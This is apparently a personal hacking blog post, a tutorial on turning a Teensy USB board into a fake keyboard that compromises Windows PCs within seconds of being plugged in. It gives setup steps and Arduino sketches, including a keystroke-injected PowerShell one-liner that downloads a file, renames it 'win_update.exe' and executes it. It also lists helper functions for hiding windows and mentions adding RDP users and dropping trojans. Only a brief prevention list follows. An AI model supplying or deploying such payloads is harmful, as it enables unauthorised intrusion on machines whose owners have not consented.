Plug And Hack With Teensy

Hey there,

This is my first post about Teensy attacks.Teensy exploiting is an old method but still useful.i decide to write about Teensy attacks.this types of attacks possible with little bit Social engineering, its take only 10 sec to pwn a PC

What is Teensy?

Teensy 2.0

Basically its a Programmable HID

A human interface device or HID is a type of computer device that interacts directly with, and most often takes input from, humans and may deliver output to humans.

Interesting things About Teensy

  1. As i mention above Teensy is a HID,so when we plug it Computer take it as a Keyboard so Anti Virus products Cant Detect it and We can Program it
  2. Works even if autorun is turned off.
  3. we can send keys to an active window
  4. We can perform Download and execute,Add RDP user,add domain user,drop trojans etc.. by just plugging teensy into the target 😀

Prerequisites Knowledge

  1. Basic Arduino
  2. Basic C Programming

Getting Started

  1. You need to Buy a Teensy USB from PJRC there are different teensy versions available now.currently im using Teensy 2.0
  2. if your planning to carry big payloads you must buy a teensy SD Adaptor else you can use inbuilt memory,but it cant carry heavy payloads
  3. Download Arduino 1.6.9 IDE
  4. Download Teensyduino(Teensy Loader)
  5. Download PHUKD library
  6. Download Example scripts

Make sure to download Arduino 1.6.9 and extract PHUKD library files to Arduino library files folder.after that open Arduino IDE and go to Tools Select Board to Teensy 2.0 And USB type to Disk(internal)+keyboard

Teensy Hacking

 

 

 

 

 

 

 

 

 

 

Let’s Hack it

open Arduino IDE and Paste below code,click verify and Upload to test our first script.once it is Uploaded reject teensy and plug it again.then you can see teensy automatically will open notepad and print Keyboard.print() Message in notepad.

#include <phukdlib.h>
void setup() {
  delay(3000);
  CommandAtRunBarMSWIN("notepad.exe");
  delay(2000);
  Keyboard.print("https://h3llwings.wordpress.com @angelowin32 ;)");
  
}
void loop(){}

Now lets do something useful.in Windows we can use powershell to do our dirty works.we can use powershell to download and execute our malware in target PC

//Download Putty and Excute
//https://the.earth.li/~sgtatham/putty/latest/x86/putty.exe
//Angelo Ruwantha
#include <phukdlib.h>
void setup() {
  delay(3000); //sleep 3 sec
  CommandAtRunBarMSWIN("powershell.exe"); //send keys win+R then type powershell.exe
  delay(2000);//sleep 2 sec
  Keyboard.print("$down = New-Object System.Net.WebClient; $url = 'https://the.earth.li/~sgtatham/putty/latest/x86/puttygen.exe'; $file = 'win_update.exe'; $down.DownloadFile($url,$file); $exec = New-Object -com shell.application; $exec.shellexecute($file); exit;");//Download file and excute
  delay(2000);
  Keyboard.set_key1(KEY_ENTER); //send keys Enter
  Keyboard.send_now();    
  Keyboard.set_key1(0);//send keys 0 to stop looping
  Keyboard.send_now();  
}
void loop(){}

phukdlib library functions


//phukdlib functions

CommandAtRunBarMSWIN(char *SomeCommand); //Opens the run bar and executes the command.

CommandAtRunBarGnome(char *SomeCommand);
CommandAtRunBarOSX(char *SomeCommand);//OSX Opens spotlight and executes the command
CommandAtNewTerminal(char *SomeCommand);
ShrinkCurWinOSX();
ShrinkCurWin();//Shrinks the active window to help hide it.
ShrinkCurWinMSWIN();
ShrinkCurWinGnome();
PressAndRelease(int KeyCode,int KeyCount);
ShowDiag();
int ledkeys(); //ledkeys returns the setting of the "lock keys"
boolean IsNumbOn(void);
boolean IsCapsOn(void);
boolean IsScrlOn(void);

How to prvent from these types of attacks?

  1. Don’t plug unknown USB devices
  2. Close your USB ports
  3. Lock your server rooms 😀

Currently im writing my own framework for teensy to perform  advanced attacks.

btw there are some popular teensy attacks frameworks available  you guys should play with these frameworks its really amazing 🙂

The Social Engineering Framework

Peensy

kautilya

References

http://www.irongeek.com/i.php?page=security/programmable-hid-usb-keystroke-dongle

https://github.com/hak5darren/USB-Rubber-Ducky/wiki/Payload—Windows-10-:-Download-and-execute-file-with-Powershell

https://en.wikipedia.org/wiki/Human_interface_device

5 thoughts on “Plug And Hack With Teensy

Leave a comment